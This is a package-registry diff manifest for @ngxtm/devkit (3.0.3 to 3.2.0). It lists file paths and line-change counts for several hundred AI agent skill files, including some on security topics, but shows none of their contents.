@ngxtm/devkit 3.0.3 → 3.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/SPDD/1-research.md +22 -0
- package/skills/SPDD/2-spec.md +20 -0
- package/skills/SPDD/3-implementation.md +20 -0
- package/skills/accessibility-compliance-accessibility-audit/SKILL.md +42 -0
- package/skills/accessibility-compliance-accessibility-audit/resources/implementation-playbook.md +502 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -382
- package/skills/agent-framework-azure-hosted-agents/SKILL.md +0 -3
- package/skills/agent-orchestration-improve-agent/SKILL.md +349 -0
- package/skills/agent-orchestration-multi-agent-optimize/SKILL.md +239 -0
- package/skills/ai-engineer/SKILL.md +171 -0
- package/skills/airflow-dag-patterns/SKILL.md +41 -0
- package/skills/airflow-dag-patterns/resources/implementation-playbook.md +509 -0
- package/skills/angular-migration/SKILL.md +428 -0
- package/skills/anti-reversing-techniques/SKILL.md +42 -0
- package/skills/anti-reversing-techniques/resources/implementation-playbook.md +539 -0
- package/skills/api-design-principles/SKILL.md +37 -0
- package/skills/api-design-principles/assets/api-design-checklist.md +155 -0
- package/skills/api-design-principles/assets/rest-api-template.py +182 -0
- package/skills/api-design-principles/references/graphql-schema-design.md +583 -0
- package/skills/api-design-principles/references/rest-best-practices.md +408 -0
- package/skills/api-design-principles/resources/implementation-playbook.md +513 -0
- package/skills/api-documenter/SKILL.md +184 -0
- package/skills/api-testing-observability-api-mock/SKILL.md +46 -0
- package/skills/api-testing-observability-api-mock/resources/implementation-playbook.md +1327 -0
- package/skills/application-performance-performance-optimization/SKILL.md +154 -0
- package/skills/architect-review/SKILL.md +174 -0
- package/skills/architecture-decision-records/SKILL.md +441 -0
- package/skills/architecture-patterns/SKILL.md +37 -0
- package/skills/architecture-patterns/resources/implementation-playbook.md +479 -0
- package/skills/arm-cortex-expert/SKILL.md +306 -0
- package/skills/artifacts-builder/scripts/bundle-artifact.sh +0 -0
- package/skills/artifacts-builder/scripts/init-artifact.sh +0 -0
- package/skills/async-python-patterns/SKILL.md +39 -0
- package/skills/async-python-patterns/resources/implementation-playbook.md +678 -0
- package/skills/attack-tree-construction/SKILL.md +38 -0
- package/skills/attack-tree-construction/resources/implementation-playbook.md +671 -0
- package/skills/auth-implementation-patterns/SKILL.md +39 -0
- package/skills/auth-implementation-patterns/resources/implementation-playbook.md +633 -0
- package/skills/automate-whatsapp/SKILL.md +257 -0
- package/skills/aws-agentic-ai/services/gateway/deploy-template.sh +0 -0
- package/skills/aws-agentic-ai/services/gateway/validate-deployment.sh +0 -0
- package/skills/aws-cdk-development/scripts/validate-stack.sh +0 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -469
- package/skills/aws-skills/SKILL.md +22 -0
- package/skills/azd-deployment/SKILL.md +0 -2
- package/skills/backend-architect/SKILL.md +333 -0
- package/skills/backend-development-feature-development/SKILL.md +180 -0
- package/skills/backend-security-coder/SKILL.md +156 -0
- package/skills/backtesting-frameworks/SKILL.md +39 -0
- package/skills/backtesting-frameworks/resources/implementation-playbook.md +647 -0
- package/skills/bash-defensive-patterns/SKILL.md +43 -0
- package/skills/bash-defensive-patterns/resources/implementation-playbook.md +517 -0
- package/skills/bash-pro/SKILL.md +310 -0
- package/skills/bats-testing-patterns/SKILL.md +34 -0
- package/skills/bats-testing-patterns/resources/implementation-playbook.md +614 -0
- package/skills/bazel-build-optimization/SKILL.md +397 -0
- package/skills/beautiful-prose/SKILL.md +22 -0
- package/skills/billing-automation/SKILL.md +42 -0
- package/skills/billing-automation/resources/implementation-playbook.md +544 -0
- package/skills/binary-analysis-patterns/SKILL.md +450 -0
- package/skills/blockchain-developer/SKILL.md +208 -0
- package/skills/business-analyst/SKILL.md +182 -0
- package/skills/c-pro/SKILL.md +56 -0
- package/skills/c4-architecture-c4-architecture/SKILL.md +389 -0
- package/skills/c4-code/SKILL.md +244 -0
- package/skills/c4-component/SKILL.md +153 -0
- package/skills/c4-container/SKILL.md +171 -0
- package/skills/c4-context/SKILL.md +150 -0
- package/skills/cc-skill-continuous-learning/evaluate-session.sh +0 -0
- package/skills/cc-skill-strategic-compact/suggest-compact.sh +0 -0
- package/skills/changelog-automation/SKILL.md +38 -0
- package/skills/changelog-automation/resources/implementation-playbook.md +538 -0
- package/skills/cicd-automation-workflow-automate/SKILL.md +51 -0
- package/skills/cicd-automation-workflow-automate/resources/implementation-playbook.md +1333 -0
- package/skills/clarity-gate/SKILL.md +22 -0
- package/skills/claude-ally-health/SKILL.md +22 -0
- package/skills/claude-scientific-skills/SKILL.md +22 -0
- package/skills/claude-speed-reader/SKILL.md +22 -0
- package/skills/claude-win11-speckit-update-skill/SKILL.md +22 -0
- package/skills/cloud-architect/SKILL.md +131 -102
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -318
- package/skills/code-documentation-code-explain/SKILL.md +46 -0
- package/skills/code-documentation-code-explain/resources/implementation-playbook.md +802 -0
- package/skills/code-documentation-doc-generate/SKILL.md +48 -0
- package/skills/code-documentation-doc-generate/resources/implementation-playbook.md +640 -0
- package/skills/code-refactoring-context-restore/SKILL.md +179 -0
- package/skills/code-refactoring-refactor-clean/SKILL.md +51 -0
- package/skills/code-refactoring-refactor-clean/resources/implementation-playbook.md +879 -0
- package/skills/code-refactoring-tech-debt/SKILL.md +386 -0
- package/skills/code-review-ai-ai-review/SKILL.md +450 -0
- package/skills/code-review-excellence/SKILL.md +40 -0
- package/skills/code-review-excellence/resources/implementation-playbook.md +515 -0
- package/skills/code-reviewer/SKILL.md +174 -205
- package/skills/codebase-cleanup-deps-audit/SKILL.md +51 -0
- package/skills/codebase-cleanup-deps-audit/resources/implementation-playbook.md +766 -0
- package/skills/codebase-cleanup-refactor-clean/SKILL.md +51 -0
- package/skills/codebase-cleanup-refactor-clean/resources/implementation-playbook.md +879 -0
- package/skills/codebase-cleanup-tech-debt/SKILL.md +386 -0
- package/skills/commit/SKILL.md +171 -0
- package/skills/competitive-landscape/SKILL.md +34 -0
- package/skills/competitive-landscape/resources/implementation-playbook.md +494 -0
- package/skills/comprehensive-review-full-review/SKILL.md +146 -0
- package/skills/comprehensive-review-pr-enhance/SKILL.md +46 -0
- package/skills/comprehensive-review-pr-enhance/resources/implementation-playbook.md +691 -0
- package/skills/conductor-implement/SKILL.md +388 -0
- package/skills/conductor-manage/SKILL.md +39 -0
- package/skills/conductor-manage/resources/implementation-playbook.md +1120 -0
- package/skills/conductor-new-track/SKILL.md +433 -0
- package/skills/conductor-revert/SKILL.md +372 -0
- package/skills/conductor-setup/SKILL.md +426 -0
- package/skills/conductor-status/SKILL.md +338 -0
- package/skills/conductor-validator/SKILL.md +62 -0
- package/skills/content-marketer/SKILL.md +170 -0
- package/skills/context-compression/SKILL.md +266 -0
- package/skills/context-degradation/SKILL.md +238 -0
- package/skills/context-driven-development/SKILL.md +400 -0
- package/skills/context-fundamentals/SKILL.md +192 -0
- package/skills/context-management-context-restore/SKILL.md +179 -0
- package/skills/context-management-context-save/SKILL.md +177 -0
- package/skills/context-manager/SKILL.md +185 -0
- package/skills/context-optimization/SKILL.md +186 -0
- package/skills/cost-optimization/SKILL.md +286 -0
- package/skills/cpp-pro/SKILL.md +42 -80
- package/skills/cqrs-implementation/SKILL.md +35 -0
- package/skills/cqrs-implementation/resources/implementation-playbook.md +540 -0
- package/skills/create-pr/SKILL.md +192 -0
- package/skills/csharp-pro/SKILL.md +59 -0
- package/skills/culture-index/SKILL.md +43 -0
- package/skills/customer-support/SKILL.md +170 -0
- package/skills/daily-news-report/SKILL.md +178 -179
- package/skills/data-engineer/SKILL.md +224 -0
- package/skills/data-engineering-data-driven-feature/SKILL.md +182 -0
- package/skills/data-engineering-data-pipeline/SKILL.md +201 -0
- package/skills/data-quality-frameworks/SKILL.md +40 -0
- package/skills/data-quality-frameworks/resources/implementation-playbook.md +573 -0
- package/skills/data-scientist/SKILL.md +199 -0
- package/skills/data-storytelling/SKILL.md +465 -0
- package/skills/database-admin/SKILL.md +165 -0
- package/skills/database-architect/SKILL.md +268 -0
- package/skills/database-cloud-optimization-cost-optimize/SKILL.md +44 -0
- package/skills/database-cloud-optimization-cost-optimize/resources/implementation-playbook.md +1441 -0
- package/skills/database-migration/SKILL.md +436 -0
- package/skills/database-migrations-migration-observability/SKILL.md +420 -0
- package/skills/database-migrations-sql-migrations/SKILL.md +53 -0
- package/skills/database-migrations-sql-migrations/resources/implementation-playbook.md +499 -0
- package/skills/database-optimizer/SKILL.md +163 -91
- package/skills/dbt-transformation-patterns/SKILL.md +34 -0
- package/skills/dbt-transformation-patterns/resources/implementation-playbook.md +547 -0
- package/skills/debugger/SKILL.md +49 -0
- package/skills/debugging-strategies/SKILL.md +34 -0
- package/skills/debugging-strategies/resources/implementation-playbook.md +511 -0
- package/skills/debugging-toolkit-smart-debug/SKILL.md +197 -0
- package/skills/deep-research/SKILL.md +114 -0
- package/skills/defi-protocol-templates/SKILL.md +466 -0
- package/skills/dependency-management-deps-audit/SKILL.md +44 -0
- package/skills/dependency-management-deps-audit/resources/implementation-playbook.md +766 -0
- package/skills/dependency-upgrade/SKILL.md +421 -0
- package/skills/deployment-engineer/SKILL.md +170 -0
- package/skills/deployment-pipeline-design/SKILL.md +371 -0
- package/skills/deployment-validation-config-validate/SKILL.md +496 -0
- package/skills/design-md/SKILL.md +178 -0
- package/skills/devops-troubleshooter/SKILL.md +161 -0
- package/skills/distributed-debugging-debug-trace/SKILL.md +44 -0
- package/skills/distributed-debugging-debug-trace/resources/implementation-playbook.md +1307 -0
- package/skills/distributed-tracing/SKILL.md +450 -0
- package/skills/django-pro/SKILL.md +180 -0
- package/skills/docs-architect/SKILL.md +98 -0
- package/skills/document-skills/docx/ooxml/scripts/pack.py +0 -0
- package/skills/document-skills/docx/ooxml/scripts/unpack.py +0 -0
- package/skills/document-skills/docx/ooxml/scripts/validate.py +0 -0
- package/skills/document-skills/docx/scripts/__init__.py +0 -0
- package/skills/document-skills/docx/scripts/document.py +0 -0
- package/skills/document-skills/docx/scripts/utilities.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/pack.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/unpack.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/validate.py +0 -0
- package/skills/document-skills/pptx/scripts/html2pptx.js +0 -0
- package/skills/document-skills/pptx/scripts/inventory.py +0 -0
- package/skills/document-skills/pptx/scripts/rearrange.py +0 -0
- package/skills/document-skills/pptx/scripts/replace.py +0 -0
- package/skills/document-skills/pptx/scripts/thumbnail.py +0 -0
- package/skills/documentation-generation-doc-generate/SKILL.md +48 -0
- package/skills/documentation-generation-doc-generate/resources/implementation-playbook.md +640 -0
- package/skills/docx/LICENSE.txt +30 -0
- package/skills/docx/SKILL.md +172 -69
- package/skills/docx/docx-js.md +350 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +1499 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +146 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +1085 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +11 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +3081 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +23 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +185 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +287 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +1676 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +28 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +144 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +174 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +25 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +18 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +59 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +56 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +195 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +582 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +25 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +4439 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +570 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +509 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +12 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +108 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +96 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +3646 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +116 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +42 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +50 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +49 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +33 -0
- package/skills/docx/ooxml/schemas/mce/mc.xsd +75 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd +560 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd +67 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd +14 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd +20 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd +13 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +4 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd +8 -0
- package/skills/docx/ooxml/scripts/pack.py +159 -0
- package/skills/docx/ooxml/scripts/unpack.py +29 -0
- package/skills/docx/ooxml/scripts/validate.py +69 -0
- package/skills/docx/ooxml/scripts/validation/__init__.py +15 -0
- package/skills/docx/ooxml/scripts/validation/base.py +951 -0
- package/skills/docx/ooxml/scripts/validation/docx.py +274 -0
- package/skills/docx/ooxml/scripts/validation/pptx.py +315 -0
- package/skills/docx/ooxml/scripts/validation/redlining.py +279 -0
- package/skills/docx/ooxml.md +610 -0
- package/skills/docx/scripts/__init__.py +1 -0
- package/skills/docx/scripts/document.py +1276 -0
- package/skills/docx/scripts/templates/comments.xml +3 -0
- package/skills/docx/scripts/templates/commentsExtended.xml +3 -0
- package/skills/docx/scripts/templates/commentsExtensible.xml +3 -0
- package/skills/docx/scripts/templates/commentsIds.xml +3 -0
- package/skills/docx/scripts/templates/people.xml +3 -0
- package/skills/docx/scripts/utilities.py +374 -0
- package/skills/docx-official/ooxml/scripts/pack.py +0 -0
- package/skills/docx-official/ooxml/scripts/unpack.py +0 -0
- package/skills/docx-official/ooxml/scripts/validate.py +0 -0
- package/skills/docx-official/scripts/__init__.py +0 -0
- package/skills/docx-official/scripts/document.py +0 -0
- package/skills/docx-official/scripts/utilities.py +0 -0
- package/skills/dotnet-architect/SKILL.md +197 -0
- package/skills/dotnet-backend-patterns/SKILL.md +37 -0
- package/skills/dotnet-backend-patterns/assets/repository-template.cs +523 -0
- package/skills/dotnet-backend-patterns/assets/service-template.cs +336 -0
- package/skills/dotnet-backend-patterns/references/dapper-patterns.md +544 -0
- package/skills/dotnet-backend-patterns/references/ef-core-best-practices.md +355 -0
- package/skills/dotnet-backend-patterns/resources/implementation-playbook.md +799 -0
- package/skills/dx-optimizer/SKILL.md +83 -0
- package/skills/e2e-testing-patterns/SKILL.md +41 -0
- package/skills/e2e-testing-patterns/resources/implementation-playbook.md +531 -0
- package/skills/elixir-pro/SKILL.md +59 -0
- package/skills/embedding-strategies/SKILL.md +491 -0
- package/skills/employment-contract-templates/SKILL.md +39 -0
- package/skills/employment-contract-templates/resources/implementation-playbook.md +493 -0
- package/skills/error-debugging-error-analysis/SKILL.md +47 -0
- package/skills/error-debugging-error-analysis/resources/implementation-playbook.md +1143 -0
- package/skills/error-debugging-error-trace/SKILL.md +43 -0
- package/skills/error-debugging-error-trace/resources/implementation-playbook.md +1361 -0
- package/skills/error-debugging-multi-agent-review/SKILL.md +216 -0
- package/skills/error-detective/SKILL.md +53 -0
- package/skills/error-diagnostics-error-analysis/SKILL.md +47 -0
- package/skills/error-diagnostics-error-analysis/resources/implementation-playbook.md +1143 -0
- package/skills/error-diagnostics-error-trace/SKILL.md +48 -0
- package/skills/error-diagnostics-error-trace/resources/implementation-playbook.md +1371 -0
- package/skills/error-diagnostics-smart-debug/SKILL.md +197 -0
- package/skills/error-handling-patterns/SKILL.md +35 -0
- package/skills/error-handling-patterns/resources/implementation-playbook.md +635 -0
- package/skills/evaluation/SKILL.md +238 -0
- package/skills/event-sourcing-architect/SKILL.md +58 -0
- package/skills/event-store-design/SKILL.md +449 -0
- package/skills/expo-deployment/SKILL.md +62 -12
- package/skills/fal-audio/SKILL.md +22 -0
- package/skills/fal-generate/SKILL.md +22 -0
- package/skills/fal-image-edit/SKILL.md +22 -0
- package/skills/fal-platform/SKILL.md +22 -0
- package/skills/fal-upscale/SKILL.md +22 -0
- package/skills/fal-workflow/SKILL.md +22 -0
- package/skills/fastapi-pro/SKILL.md +192 -0
- package/skills/fastapi-templates/SKILL.md +32 -0
- package/skills/fastapi-templates/resources/implementation-playbook.md +566 -0
- package/skills/ffuf-claude-skill/SKILL.md +22 -0
- package/skills/find-bugs/SKILL.md +86 -0
- package/skills/firmware-analyst/SKILL.md +320 -0
- package/skills/fix-review/SKILL.md +53 -0
- package/skills/flutter-expert/SKILL.md +196 -84
- package/skills/foundry-iq-agent/SKILL.md +15 -0
- package/skills/foundry-iq-python/SKILL.md +0 -3
- package/skills/fp-ts-errors/SKILL.md +856 -0
- package/skills/fp-ts-pragmatic/SKILL.md +598 -0
- package/skills/fp-ts-react/SKILL.md +796 -0
- package/skills/framework-migration-code-migrate/SKILL.md +48 -0
- package/skills/framework-migration-code-migrate/resources/implementation-playbook.md +1052 -0
- package/skills/framework-migration-deps-upgrade/SKILL.md +48 -0
- package/skills/framework-migration-deps-upgrade/resources/implementation-playbook.md +755 -0
- package/skills/framework-migration-legacy-modernize/SKILL.md +132 -0
- package/skills/frontend-developer/SKILL.md +171 -0
- package/skills/frontend-mobile-development-component-scaffold/SKILL.md +403 -0
- package/skills/frontend-mobile-security-xss-scan/SKILL.md +322 -0
- package/skills/frontend-security-coder/SKILL.md +170 -0
- package/skills/frontend-slides/SKILL.md +770 -0
- package/skills/full-stack-orchestration-full-stack-feature/SKILL.md +135 -0
- package/skills/gdpr-data-handling/SKILL.md +33 -0
- package/skills/gdpr-data-handling/resources/implementation-playbook.md +615 -0
- package/skills/git-advanced-workflows/SKILL.md +412 -0
- package/skills/git-pr-workflows-git-workflow/SKILL.md +140 -0
- package/skills/git-pr-workflows-onboard/SKILL.md +416 -0
- package/skills/git-pr-workflows-pr-enhance/SKILL.md +48 -0
- package/skills/git-pr-workflows-pr-enhance/resources/implementation-playbook.md +701 -0
- package/skills/github-actions-templates/SKILL.md +345 -0
- package/skills/gitlab-ci-patterns/SKILL.md +283 -0
- package/skills/gitops-workflow/SKILL.md +303 -0
- package/skills/gitops-workflow/references/argocd-setup.md +134 -0
- package/skills/gitops-workflow/references/sync-policies.md +131 -0
- package/skills/go-concurrency-patterns/SKILL.md +33 -0
- package/skills/go-concurrency-patterns/resources/implementation-playbook.md +654 -0
- package/skills/godot-gdscript-patterns/SKILL.md +33 -0
- package/skills/godot-gdscript-patterns/resources/implementation-playbook.md +804 -0
- package/skills/golang-pro/SKILL.md +176 -91
- package/skills/grafana-dashboards/SKILL.md +381 -0
- package/skills/graphql-architect/SKILL.md +168 -83
- package/skills/haskell-pro/SKILL.md +56 -0
- package/skills/helm-chart-scaffolding/SKILL.md +34 -0
- package/skills/helm-chart-scaffolding/assets/Chart.yaml.template +42 -0
- package/skills/helm-chart-scaffolding/assets/values.yaml.template +185 -0
- package/skills/helm-chart-scaffolding/references/chart-structure.md +500 -0
- package/skills/helm-chart-scaffolding/resources/implementation-playbook.md +543 -0
- package/skills/helm-chart-scaffolding/scripts/validate-chart.sh +244 -0
- package/skills/hr-pro/SKILL.md +126 -0
- package/skills/hugging-face-cli/SKILL.md +198 -0
- package/skills/hugging-face-jobs/SKILL.md +1038 -0
- package/skills/hybrid-cloud-architect/SKILL.md +168 -0
- package/skills/hybrid-cloud-networking/SKILL.md +238 -0
- package/skills/hybrid-search-implementation/SKILL.md +32 -0
- package/skills/hybrid-search-implementation/resources/implementation-playbook.md +567 -0
- package/skills/imagen/SKILL.md +77 -0
- package/skills/incident-responder/SKILL.md +213 -0
- package/skills/incident-response-incident-response/SKILL.md +168 -0
- package/skills/incident-response-smart-fix/SKILL.md +29 -0
- package/skills/incident-response-smart-fix/resources/implementation-playbook.md +838 -0
- package/skills/incident-runbook-templates/SKILL.md +395 -0
- package/skills/infinite-gratitude/SKILL.md +26 -0
- package/skills/ios-developer/SKILL.md +219 -0
- package/skills/istio-traffic-management/SKILL.md +337 -0
- package/skills/iterate-pr/SKILL.md +150 -0
- package/skills/java-pro/SKILL.md +177 -0
- package/skills/javascript-pro/SKILL.md +41 -79
- package/skills/javascript-testing-patterns/SKILL.md +35 -0
- package/skills/javascript-testing-patterns/resources/implementation-playbook.md +1024 -0
- package/skills/javascript-typescript-typescript-scaffold/SKILL.md +361 -0
- package/skills/julia-pro/SKILL.md +209 -0
- package/skills/k8s-manifest-generator/SKILL.md +35 -0
- package/skills/k8s-manifest-generator/assets/configmap-template.yaml +296 -0
- package/skills/k8s-manifest-generator/assets/deployment-template.yaml +203 -0
- package/skills/k8s-manifest-generator/assets/service-template.yaml +171 -0
- package/skills/k8s-manifest-generator/references/deployment-spec.md +753 -0
- package/skills/k8s-manifest-generator/references/service-spec.md +724 -0
- package/skills/k8s-manifest-generator/resources/implementation-playbook.md +510 -0
- package/skills/k8s-security-policies/SKILL.md +346 -0
- package/skills/k8s-security-policies/assets/network-policy-template.yaml +177 -0
- package/skills/k8s-security-policies/references/rbac-patterns.md +187 -0
- package/skills/kpi-dashboard-design/SKILL.md +440 -0
- package/skills/kubernetes-architect/SKILL.md +170 -0
- package/skills/langchain-architecture/SKILL.md +350 -0
- package/skills/legacy-modernizer/SKILL.md +39 -79
- package/skills/legal-advisor/SKILL.md +70 -0
- package/skills/linear-claude-skill/SKILL.md +543 -0
- package/skills/linkerd-patterns/SKILL.md +321 -0
- package/skills/llm-application-dev-ai-assistant/SKILL.md +35 -0
- package/skills/llm-application-dev-ai-assistant/resources/implementation-playbook.md +1236 -0
- package/skills/llm-application-dev-langchain-agent/SKILL.md +246 -0
- package/skills/llm-application-dev-prompt-optimize/SKILL.md +37 -0
- package/skills/llm-application-dev-prompt-optimize/resources/implementation-playbook.md +591 -0
- package/skills/llm-evaluation/SKILL.md +483 -0
- package/skills/loki-mode/autonomy/run.sh +0 -0
- package/skills/loki-mode/benchmarks/prepare-submission.sh +0 -0
- package/skills/loki-mode/benchmarks/run-benchmarks.sh +0 -0
- package/skills/loki-mode/demo/record-demo.sh +0 -0
- package/skills/loki-mode/demo/record-full-demo.sh +0 -0
- package/skills/loki-mode/demo/run-demo-auto.sh +0 -0
- package/skills/loki-mode/demo/run-demo.sh +0 -0
- package/skills/loki-mode/scripts/export-to-vibe-kanban.sh +0 -0
- package/skills/loki-mode/scripts/loki-wrapper.sh +0 -0
- package/skills/loki-mode/tests/run-all-tests.sh +0 -0
- package/skills/loki-mode/tests/test-agent-timeout.sh +0 -0
- package/skills/loki-mode/tests/test-bootstrap.sh +0 -0
- package/skills/loki-mode/tests/test-circuit-breaker.sh +0 -0
- package/skills/loki-mode/tests/test-state-recovery.sh +0 -0
- package/skills/loki-mode/tests/test-task-queue.sh +0 -0
- package/skills/loki-mode/tests/test-wrapper.sh +0 -0
- package/skills/machine-learning-ops-ml-pipeline/SKILL.md +314 -0
- package/skills/makepad-skills/SKILL.md +22 -0
- package/skills/malware-analyst/SKILL.md +247 -0
- package/skills/market-sizing-analysis/SKILL.md +425 -0
- package/skills/market-sizing-analysis/examples/saas-market-sizing.md +349 -0
- package/skills/market-sizing-analysis/references/data-sources.md +360 -0
- package/skills/memory-forensics/SKILL.md +491 -0
- package/skills/memory-safety-patterns/SKILL.md +33 -0
- package/skills/memory-safety-patterns/resources/implementation-playbook.md +603 -0
- package/skills/memory-systems/SKILL.md +228 -0
- package/skills/mermaid-expert/SKILL.md +59 -0
- package/skills/microservices-patterns/SKILL.md +35 -0
- package/skills/microservices-patterns/resources/implementation-playbook.md +607 -0
- package/skills/minecraft-bukkit-pro/SKILL.md +126 -0
- package/skills/ml-engineer/SKILL.md +168 -0
- package/skills/ml-pipeline-workflow/SKILL.md +257 -0
- package/skills/mlops-engineer/SKILL.md +219 -0
- package/skills/mobile-developer/SKILL.md +205 -0
- package/skills/mobile-security-coder/SKILL.md +184 -0
- package/skills/modern-javascript-patterns/SKILL.md +35 -0
- package/skills/modern-javascript-patterns/resources/implementation-playbook.md +910 -0
- package/skills/monorepo-architect/SKILL.md +61 -0
- package/skills/monorepo-management/SKILL.md +35 -0
- package/skills/monorepo-management/resources/implementation-playbook.md +621 -0
- package/skills/mtls-configuration/SKILL.md +359 -0
- package/skills/multi-agent-patterns/SKILL.md +262 -0
- package/skills/multi-cloud-architecture/SKILL.md +189 -0
- package/skills/multi-platform-apps-multi-platform/SKILL.md +203 -0
- package/skills/n8n-code-python/SKILL.md +750 -0
- package/skills/n8n-mcp-tools-expert/SKILL.md +654 -0
- package/skills/n8n-node-configuration/SKILL.md +796 -0
- package/skills/nanobanana-ppt-skills/SKILL.md +22 -0
- package/skills/network-engineer/SKILL.md +169 -0
- package/skills/nextjs-app-router-patterns/SKILL.md +33 -0
- package/skills/nextjs-app-router-patterns/resources/implementation-playbook.md +543 -0
- package/skills/nft-standards/SKILL.md +395 -0
- package/skills/nodejs-backend-patterns/SKILL.md +35 -0
- package/skills/nodejs-backend-patterns/resources/implementation-playbook.md +1019 -0
- package/skills/notebooklm/AUTHENTICATION.md +0 -0
- package/skills/notebooklm/CHANGELOG.md +0 -0
- package/skills/notebooklm/LICENSE +0 -0
- package/skills/notebooklm/README.md +0 -0
- package/skills/notebooklm/SKILL.md +0 -0
- package/skills/notebooklm/images/example_notebookchat.png +0 -0
- package/skills/notebooklm/references/api_reference.md +0 -0
- package/skills/notebooklm/references/troubleshooting.md +0 -0
- package/skills/notebooklm/references/usage_patterns.md +0 -0
- package/skills/notebooklm/requirements.txt +0 -0
- package/skills/notebooklm/scripts/__init__.py +0 -0
- package/skills/notebooklm/scripts/ask_question.py +0 -0
- package/skills/notebooklm/scripts/auth_manager.py +0 -0
- package/skills/notebooklm/scripts/browser_session.py +0 -0
- package/skills/notebooklm/scripts/browser_utils.py +0 -0
- package/skills/notebooklm/scripts/cleanup_manager.py +0 -0
- package/skills/notebooklm/scripts/config.py +0 -0
- package/skills/notebooklm/scripts/notebook_manager.py +0 -0
- package/skills/notebooklm/scripts/run.py +0 -0
- package/skills/notebooklm/scripts/setup_environment.py +0 -0
- package/skills/notebooklm-skill/AUTHENTICATION.md +0 -0
- package/skills/notebooklm-skill/SKILL.md +0 -0
- package/skills/notebooklm-skill/references/api_reference.md +0 -0
- package/skills/notebooklm-skill/references/troubleshooting.md +0 -0
- package/skills/notebooklm-skill/references/usage_patterns.md +0 -0
- package/skills/notebooklm-skill/scripts/__init__.py +0 -0
- package/skills/notebooklm-skill/scripts/ask_question.py +0 -0
- package/skills/notebooklm-skill/scripts/auth_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/browser_session.py +0 -0
- package/skills/notebooklm-skill/scripts/browser_utils.py +0 -0
- package/skills/notebooklm-skill/scripts/cleanup_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/config.py +0 -0
- package/skills/notebooklm-skill/scripts/notebook_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/run.py +0 -0
- package/skills/notebooklm-skill/scripts/setup_environment.py +0 -0
- package/skills/nx-workspace-patterns/SKILL.md +464 -0
- package/skills/observability-engineer/SKILL.md +237 -0
- package/skills/observability-monitoring-monitor-setup/SKILL.md +48 -0
- package/skills/observability-monitoring-monitor-setup/resources/implementation-playbook.md +505 -0
- package/skills/observability-monitoring-slo-implement/SKILL.md +43 -0
- package/skills/observability-monitoring-slo-implement/resources/implementation-playbook.md +1077 -0
- package/skills/observe-whatsapp/SKILL.md +109 -0
- package/skills/on-call-handoff-patterns/SKILL.md +453 -0
- package/skills/openapi-spec-generation/SKILL.md +33 -0
- package/skills/openapi-spec-generation/resources/implementation-playbook.md +1027 -0
- package/skills/payment-integration/SKILL.md +69 -110
- package/skills/paypal-integration/SKILL.md +479 -0
